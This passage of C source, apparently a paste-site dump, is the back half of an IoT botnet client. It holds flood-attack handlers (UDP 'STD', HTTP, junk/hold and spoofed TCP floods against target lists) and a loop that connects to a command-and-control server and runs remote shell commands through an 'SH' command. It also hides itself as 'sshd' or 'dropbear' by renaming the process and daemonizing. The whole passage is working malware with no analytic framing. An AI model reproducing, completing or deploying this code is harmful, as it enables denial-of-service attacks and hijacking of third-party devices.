  1640.            
  1641.             unsigned char *ip = argv[1];
  1642.             int port = atoi(argv[2]);
  1643.             int time = atoi(argv[3]);
  1644.            
  1645.             if(strstr(ip, ",") != NULL)
  1646.                 {
  1647.                         unsigned char *hi = strtok(ip, ",");
  1648.                         while(hi != NULL)
  1649.                         {
  1650.                                 if(!listFork())
  1651.                                 {
  1652.                                         sendSTD(hi, port, time);
  1653.                                         _exit(0);
  1654.                                 }
  1655.                                 hi = strtok(NULL, ",");
  1656.                         }
  1657.                 } else {
  1658.                         if (listFork()) { return; }
  1659.  
  1660.                         sendSTD(ip, port, time);
  1661.                         _exit(0);
  1662.                 }
  1663.            
  1664.         }
  1665.        
  1666.         if(!strcmp(argv[0], "HTTP"))
  1667.     {
  1668.         if(argc < 3 || atoi(argv[2]) < 1)
  1669.         {
  1670.             return;
  1671.         }
  1672.  
  1673.         unsigned char *ip = argv[1];
  1674.         int time = atoi(argv[2]);
  1675.  
  1676.         if(strstr(ip, ",") != NULL)
  1677.         {
  1678.             unsigned char *hi = strtok(ip, ",");
  1679.             while(hi != NULL)
  1680.             {
  1681.                 if(!listFork())
  1682.                 {
  1683.                     int i = 0;
  1684.                     while(i < 10){
  1685.                         sendHTTP(ip, time);
  1686.                         i++;
  1687.                     }
  1688.                     close(mainCommSock);
  1689.                     _exit(0);
  1690.                 }
  1691.                 hi = strtok(NULL, ",");
  1692.             }
  1693.         } else {
  1694.             if (listFork()) { return; }
  1695.             int i = 0;
  1696.             while(i < 10){
  1697.                 sendHTTP(ip, time);
  1698.                 i++;
  1699.             }
  1700.             close(mainCommSock);
  1701.  
  1702.             _exit(0);
  1703.         }
  1704.     }
  1705.    
  1706.     if(!strcmp(argv[0], "CNC"))
  1707.         {
  1708.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1709.                 {
  1710.                        
  1711.                         return;
  1712.                 }
  1713.  
  1714.                 unsigned char *ip = argv[1];
  1715.                 int port = atoi(argv[2]);
  1716.                 int time = atoi(argv[3]);
  1717.  
  1718.                 if(strstr(ip, ",") != NULL)
  1719.                 {
  1720.                         unsigned char *hi = strtok(ip, ",");
  1721.                         while(hi != NULL)
  1722.                         {
  1723.                                 if(!listFork())
  1724.                                 {
  1725.                                         sendCNC(hi, port, time);
  1726.                                         close(mainCommSock);
  1727.                                         _exit(0);
  1728.                                 }
  1729.                                 hi = strtok(NULL, ",");
  1730.                         }
  1731.                 } else {
  1732.                         if (listFork()) { return; }
  1733.  
  1734.                         sendCNC(ip, port, time);
  1735.                         _exit(0);
  1736.                 }
  1737.         }
  1738.        
  1739.         if(!strcmp(argv[0], "COMBO"))
  1740.         {
  1741.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1742.                 {
  1743.                        
  1744.                         return;
  1745.                 }
  1746.  
  1747.                 unsigned char *ip = argv[1];
  1748.                 int port = atoi(argv[2]);
  1749.                 int time = atoi(argv[3]);
  1750.  
  1751.                 if(strstr(ip, ",") != NULL)
  1752.                 {
  1753.                         unsigned char *hi = strtok(ip, ",");
  1754.                         while(hi != NULL)
  1755.                         {
  1756.                                 if(!listFork())
  1757.                                 {
  1758.                                         sendJUNK(hi, port, time);
  1759.                                         sendHOLD(hi, port, time);
  1760.                                         close(mainCommSock);
  1761.                                         _exit(0);
  1762.                                 }
  1763.                                 hi = strtok(NULL, ",");
  1764.                         }
  1765.                 } else {
  1766.                         if (listFork()) { return; }
  1767.  
  1768.                         sendJUNK(ip, port, time);
  1769.                         sendHOLD(ip, port, time);
  1770.                         _exit(0);
  1771.                 }
  1772.         }
  1773.        
  1774.         if(!strcmp(argv[0], "TCP"))
  1775.         {
  1776.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1777.                 {
  1778.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1779.                         return;
  1780.                 }
  1781.  
  1782.                 unsigned char *ip = argv[1];
  1783.                 int port = atoi(argv[2]);
  1784.                 int time = atoi(argv[3]);
  1785.                 int spoofed = atoi(argv[4]);
  1786.                 unsigned char *flags = argv[5];
  1787.  
  1788.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1789.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1790.  
  1791.                 if(strstr(ip, ",") != NULL)
  1792.                 {
  1793.                         unsigned char *hi = strtok(ip, ",");
  1794.                         while(hi != NULL)
  1795.                         {
  1796.                                 if(!listFork())
  1797.                                 {
  1798.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1799.                                         _exit(0);
  1800.                                 }
  1801.                                 hi = strtok(NULL, ",");
  1802.                         }
  1803.                 } else {
  1804.                         if (listFork()) { return; }
  1805.  
  1806.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1807.                         _exit(0);
  1808.                 }
  1809.         }
  1810.  
  1811.     if(!strcmp(argv[0], "KILLATTK"))
  1812.         {
  1813.                 int killed = 0;
  1814.                 unsigned long i;
  1815.                 for (i = 0; i < numpids; i++) {
  1816.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1817.                                 kill(pids[i], 9);
  1818.                                 killed++;
  1819.                         }
  1820.                 }
  1821.         }
  1822.  
  1823.         if(!strcmp(argv[0], "GTFOFAG"))
  1824.         {
  1825.                 exit(0);
  1826.         }
  1827.        
  1828. }
  1829.  
  1830. int initConnection()
  1831. {
  1832.         unsigned char server[4096];
  1833.         memset(server, 0, 4096);
  1834.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1835.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1836.         else currentServer++;
  1837.  
  1838.         strcpy(server, commServer[currentServer]);
  1839.         int port = 443;
  1840.         if(strchr(server, ':') != NULL)
  1841.         {
  1842.                 port = atoi(strchr(server, ':') + 1);
  1843.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1844.         }
  1845.  
  1846.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1847.  
  1848.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1849.  
  1850.         return 0;
  1851. }
  1852.  
  1853. int getOurIP()
  1854. {
  1855.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1856.         if(sock == -1) return 0;
  1857.  
  1858.         struct sockaddr_in serv;
  1859.         memset(&serv, 0, sizeof(serv));
  1860.         serv.sin_family = AF_INET;
  1861.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1862.         serv.sin_port = htons(53);
  1863.  
  1864.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1865.         if(err == -1) return 0;
  1866.  
  1867.         struct sockaddr_in name;
  1868.         socklen_t namelen = sizeof(name);
  1869.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1870.         if(err == -1) return 0;
  1871.  
  1872.         ourIP.s_addr = name.sin_addr.s_addr;
  1873.  
  1874.         int cmdline = open("/proc/net/route", O_RDONLY);
  1875.         char linebuf[4096];
  1876.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  1877.         {
  1878.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  1879.                 {
  1880.                         unsigned char *pos = linebuf;
  1881.                         while(*pos != '\t') pos++;
  1882.                         *pos = 0;
  1883.                         break;
  1884.                 }
  1885.                 memset(linebuf, 0, 4096);
  1886.         }
  1887.         close(cmdline);
  1888.  
  1889.         if(*linebuf)
  1890.         {
  1891.                 int i;
  1892.                 struct ifreq ifr;
  1893.                 strcpy(ifr.ifr_name, linebuf);
  1894.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  1895.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1896.         }
  1897.  
  1898.         close(sock);
  1899. }
  1900.  
  1901. char *getBuild()
  1902. {
  1903.     #ifdef MIPS_BUILD
  1904.     return "MIPS";
  1905.     #elif MIPSEL_BUILD
  1906.     return "MIPSEL";
  1907.     #elif X86_BUILD
  1908.     return "X86";
  1909.     #elif ARM_BUILD
  1910.     return "ARM";
  1911.     #elif PPC_BUILD
  1912.     return "PPC";
  1913.     #else
  1914.     return "MEW";
  1915.     #endif
  1916. }
  1917.  
  1918. int main(int argc, unsigned char *argv[])
  1919. {
  1920.         char *mynameis = "";
  1921.        
  1922.         if(access("/usr/bin/python", F_OK) != -1){
  1923.             mynameis = "sshd";
  1924.         } else {
  1925.             mynameis = "/usr/sbin/dropbear";
  1926.         }
  1927.        
  1928.         if(SERVER_LIST_SIZE <= 0) return 0;
  1929.         printf("BUILD %s\n", getBuild());
  1930.         strncpy(argv[0],"",strlen(argv[0]));
  1931.         sprintf(argv[0], mynameis);
  1932.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1933.         srand(time(NULL) ^ getpid());
  1934.         init_rand(time(NULL) ^ getpid());
  1935.         pid_t pid1;
  1936.         pid_t pid2;
  1937.         int status;
  1938.  
  1939.         getOurIP();
  1940.  
  1941.         if (pid1 = fork()) {
  1942.                         waitpid(pid1, &status, 0);
  1943.                         exit(0);
  1944.         } else if (!pid1) {
  1945.                         if (pid2 = fork()) {
  1946.                                         exit(0);
  1947.                         } else if (!pid2) {
  1948.                         } else {
  1949.                                         //zprintf("fork failed\n");
  1950.                         }
  1951.         } else {
  1952.                         //zprintf("fork failed\n");
  1953.         }
  1954.  
  1955.         setsid();
  1956.         chdir("/");
  1957.  
  1958.         signal(SIGPIPE, SIG_IGN);
  1959.  
  1960.         while(1)
  1961.         {
  1962.                 if(initConnection()) { sleep(5); continue; }
  1963.  
  1964.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1965.  
  1966.                 char commBuf[4096];
  1967.                 int got = 0;
  1968.                 int i = 0;
  1969.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1970.                 {
  1971.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1972.                                 unsigned int *newpids, on;
  1973.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1974.                                 pids[on - 1] = 0;
  1975.                                 numpids--;
  1976.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1977.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1978.                                 free(pids);
  1979.                                 pids = newpids;
  1980.                         }
  1981.  
  1982.                         commBuf[got] = 0x00;
  1983.  
  1984.                         trim(commBuf);
  1985.  
  1986.                         if(strstr(commBuf, "PING") == commBuf)
  1987.                         {
  1988.                                 sockprintf(mainCommSock, "PONG");
  1989.                                 continue;
  1990.                         }
  1991.  
  1992.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1993.  
  1994.                         unsigned char *message = commBuf;
  1995.  
  1996.                         if(*message == '!')
  1997.                         {
  1998.                                 unsigned char *nickMask = message + 1;
  1999.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2000.                                 if(*nickMask == 0x00) continue;
  2001.                                 *(nickMask) = 0x00;
  2002.                                 nickMask = message + 1;
  2003.  
  2004.                                 message = message + strlen(nickMask) + 2;
  2005.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2006.  
  2007.                                 unsigned char *command = message;
  2008.                                 while(*message != ' ' && *message != 0x00) message++;
  2009.                                 *message = 0x00;
  2010.                                 message++;
  2011.  
  2012.                                 unsigned char *tmpcommand = command;
  2013.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2014.  
  2015.                                 if(strcmp(command, "SH") == 0)
  2016.                                 {
  2017.                                         unsigned char buf[1024];
  2018.                                         int command;
  2019.                                         if (listFork()) continue;
  2020.                                         memset(buf, 0, 1024);
  2021.                                         szprintf(buf, "%s 2>&1", message);
  2022.                                         command = fdpopen(buf, "r");
  2023.                                         while(fdgets(buf, 1024, command) != NULL)
  2024.                                         {
  2025.                                                 trim(buf);
  2026. //                                                sockprintf(mainCommSock, "%s", buf);
  2027.                                                 memset(buf, 0, 1024);
  2028.                                                 sleep(1);
  2029.                                         }
  2030.                                         fdpclose(command);
  2031.                                         exit(0);
  2032.                                 }
  2033.  
  2034.                                 unsigned char *params[10];
  2035.                                 int paramsCount = 1;
  2036.                                 unsigned char *pch = strtok(message, " ");
  2037.                                 params[0] = command;
  2038.  
  2039.                                 while(pch)
  2040.                                 {
  2041.                                         if(*pch != '\n')
  2042.                                         {
  2043.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2044.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2045.                                                 strcpy(params[paramsCount], pch);
  2046.                                                 paramsCount++;
  2047.                                         }
  2048.                                         pch = strtok(NULL, " ");
  2049.                                 }
  2050.  
  2051.                                 processCmd(paramsCount, params);
  2052.  
  2053.                                 if(paramsCount > 1)
  2054.                                 {
  2055.                                         int q = 1;
  2056.                                         for(q = 1; q < paramsCount; q++)
  2057.                                         {
  2058.                                                 free(params[q]);
  2059.                                         }
  2060.                                 }
  2061.                         }
  2062.                 }
  2063.                 //printf("Link closed by server.\n");
  2064.         }
  2065.  
  2066.         return 0;
  2067. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement